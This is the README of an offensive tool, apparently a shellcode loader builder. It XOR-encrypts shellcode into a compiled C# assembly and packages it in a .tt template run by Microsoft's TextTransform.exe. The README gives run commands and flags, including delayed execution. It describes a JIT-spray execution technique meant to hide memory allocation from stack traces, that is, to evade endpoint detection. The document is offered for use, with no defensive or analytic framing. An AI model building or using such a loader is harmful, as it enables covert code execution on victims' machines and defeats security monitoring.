Payload builder that generates shellcode loaders executed via TextTransform.exe and .tt files.
- Embeds XOR-encrypted shellcode into a generated C# assembly
- Compiles the assembly with the .NET Framework CSC
- Generates a
.ttfile that base64-loads the assembly and invokes it - Packages the
.ttfile alongsideTextTransform.exeand its dependencies
Shellcode execution uses the 3lkToShell technique — a DynamicMethod JIT spray creates an RWX region in the CLR's HostCodeHeap, shellcode is copied there, and a second DynamicMethod executes it from inside a catch handler (SEH 2nd pass). No VirtualAlloc appears in the stack trace.
python main.py --shellcode <path> --output-dir <dir> [--assembly <name>] [--delay <minutes>] [--debug]
| Flag | Required | Description |
|---|---|---|
--shellcode |
Yes | Path to raw shellcode binary |
--output-dir |
Yes | Directory to write the packaged payload |
--assembly |
No | Assembly/namespace name (random if omitted) |
--delay |
No | Minutes to delay execution, 0-15 (default: 8) |
--debug |
No | Compile assembly with debug output |
python main.py --shellcode bins\shellcode\test.bin --output-dir build
TextTransform.exe <AssemblyName>.tt
or
"C:\Program Files\Microsoft Visual Studio\18\Community\Common7\IDE\TextTransform.exe" <AssemblyName>.tt